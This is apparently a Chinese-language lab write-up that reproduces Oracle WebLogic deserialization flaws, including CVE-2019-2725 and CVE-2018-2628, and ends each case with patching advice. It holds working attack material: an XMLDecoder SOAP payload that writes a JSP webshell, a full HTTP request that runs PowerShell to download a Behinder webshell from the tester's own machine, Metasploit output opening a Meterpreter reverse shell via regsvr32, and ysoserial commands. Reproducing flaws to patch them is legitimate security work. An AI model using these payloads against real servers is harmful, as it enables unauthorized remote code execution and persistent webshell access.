漏洞描述

Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。
?

受影响版本：10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0, 12.2.1.2.0

漏洞复现

访问以下目录中的一种，有回显如下图可以判断wls-wsat组件存在

• /wls-wsat/CoordinatorPortType
• /wls-wsat/RegistrationPortTypeRPC
• /wls-wsat/ParticipantPortType
• /wls-wsat/RegistrationRequesterPortType
• /wls-wsat/CoordinatorPortType11
• /wls-wsat/RegistrationPortTypeRPC11
• /wls-wsat/ParticipantPortType11
• /wls-wsat/RegistrationRequesterPortType11

利用方式：访问 /wls-wsat/CoordinatorPortType，然后BP抓包，修改为POST上传webshell即可

1. bp抓包

2. 构造数据包发送，其中Content-Type需要等于text/xml，否则可能导致XMLDecoder不解析。

格式如下，需要注意滴6行填写后门的名字，第10行填写后门内容

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
	<soapenv:Header>
	<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
	<java>
		<object class="java.io.PrintWriter">
		<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/后门名字.jsp</string>
		<void method="println">
		<string>
			<![CDATA[
			后门内容
			]]>
		</string>
		</void>
		<void method="close"/>
		</object>
	</java>
	</work:WorkContext>
	</soapenv:Header>
	<soapenv:Body/>
</soapenv:Envelope>

这里继续以冰蝎为例，如果你是直接粘贴冰蝎的webshell.jsp内容，会失败，如下图。

解决办法是移除webshell.jsp中的注释部分，就是删除/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/，然后就成功了。

3. 连接冰蝎

修复方案

1. 安装补丁
2. 删除wls-wsat组件

删除C:\Oracle\Middleware\wlserver_10.3\server\lib\wls-wsat.war
删除C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\.internal\wls-wsat.war
删除C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat

重启Weblogic

wls-wsat反序列化漏洞(CVE-2019-2725)

漏洞描述

CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞，这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞，通过针对Oracle官网历年来的补丁构造payload来绕过。
?

影响组件：bea_wls9_async_response.war, wls-wsat.war
影响版本：10.3.6.0, 12.1.3.0

漏洞复现

访问 /_async/AsyncResponseService，返回如下页面，则可能存在此漏洞。

漏洞不仅存在于 /_async/AsyncResponseService，只要是在bea_wls9_async_response包中的uri皆受到影响，可以查看web.xml得知所有受到影响的uri，路径为：

C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-INF\web.xml

默认受到影响的uri如下：

/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps

利用方式1：
使用工具DeserializeExploit：https://cdn.vulhub.org/deserialization/DeserializeExploit.jar
软件简单好用！

利用方式2：
使用BurpSuite重新发包。
利用思路，借助靶机的powshell远程下载webshell。

1. 把冰蝎的shell.jsp拖到kali里面，kali使用python开启一个web服务

2. 准备发包
   1. 请求头添加Content-Type: text/xml
   2. 请求体中，是需要在第31行指明后门下载地址即可

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.239.162:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Connection: close
Cookie: ADMINCONSOLESESSION=4VqThfnbStWNv00tHwQjkYwrVyXXHpxDTrl11t46vKXw3cRQFXpL!1836229127; JSESSIONID=2SdxhfwQ4J3PyrvFCy9ngdVFSnL4Gg8JYKb0qnDqMyHJ8W3nT8Rq!1836229127
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 903

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>powershell(new-object System.Net.WebClient).DownloadFile('http://192.168.239.163/shell.jsp','servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp')</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

3. 在kali里面发现确实有一条HTTP连接

4. 连接冰蝎

访问地址：http://192.168.239.162:7001/_async/webshell.jsp

修复建议

1. 禁用bea_wls9_async_response组件
2. 删除wls9_async_response的war包并重启
3. 禁止访问 /_async/* 路径

WebLogic T3协议反序列化命令执行漏洞(CVE-2018-2628)

漏洞描述

Weblogic Server WLS Core Components反序列化命令执行漏洞（CVE-2018-2628），该漏洞通过t3协议触发，可导致未授权的用户在远程服务器执行任意命令。

漏洞复现

使用内部靶场启动环境：

使用k8的测试工具：https://github.com/k8gege/K8tools
我这里被提示需要安装相关.NET环境，使用隧道配置这些环境太繁琐了，暂不复现了。附上K8提供的工具使用说明，操作很简单。如下：

1. 测试有无漏洞

2. 上传shell

方式一：

方式二：

3. 执行shell

4. 获得meterpreter

msf > use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set target 3
target => 3
msf exploit(multi/script/web_delivery) >  set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 192.168.129.128
lhost => 192.168.129.128
msf exploit(multi/script/web_delivery) > set lport 2333
lport => 2333
msf exploit(multi/script/web_delivery) > exploit 
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.129.128:2333 
[*] Using URL: http://0.0.0.0:8080/ZqKpshnepenp8T9
msf exploit(multi/script/web_delivery) > [*] Local IP: http://192.168.129.128:8080/ZqKpshnepenp8T9
[*] Server started.
[*] Run the following command on the target machine:
regsvr32 /s /n /u /i:http://192.168.129.128:8080/ZqKpshnepenp8T9.sct scrobj.dll
[*] 192.168.129.143  web_delivery - Handling .sct Request
[*] 192.168.129.143  web_delivery - Delivering Payload
[*] Sending stage (179779 bytes) to 192.168.129.143
[*] Meterpreter session 1 opened (192.168.129.128:2333 -> 192.168.129.143:52210) at 2019-01-02 01:29:00 -0500

msf exploit(multi/script/web_delivery) > sessions -i 1

在cmd下执行

 regsvr32 /s /n /u /i:http://192.168.129.128:8080/ZqKpshnepenp8T9.sct scrobj.dll

进入meterpreter：

sessions -i 1

方式二：

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'regsvr32 /s /n /u /i:http://192.168.129.128:8080/cPeSBp.sct scrobj.dll'


python 44553.py 192.168.129.143 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.129.128 1099 JRMPClient



java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'regsvr32 /s /n /u /i:http://192.168.129.128:8080/7Gcn5at6tOGgzG.sct scrobj.dll'


python 44553.py 192.168.129.143 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.129.128 1099 JRMPClient

修复建议

1. 及时更新补丁
2. 禁用T3协议
3. 禁止T3端口对外开放, 或者限制可访问T3端口的IP来源

WebLogic CVE-2018-2894文件任意上传

可以使用vulhub提供的环境：https://vulhub.org/#/environments/weblogic/CVE-2018-2894/
网上复现教程很多，提供一个：https://blog.csdn.net/weixin_43625577/article/details/97001677
内部靶场提供的也有相关环境，但是登录weblogic需要联系仿真平台的管理员索要相关密码，暂不复现了。

CVE-2020-14882 WebLogic远程代码执行漏洞

内部靶场启动失败，已联系管理员。
网上复现教程很多，提供一个：https://www.cnblogs.com/hxlinux/p/14723721.html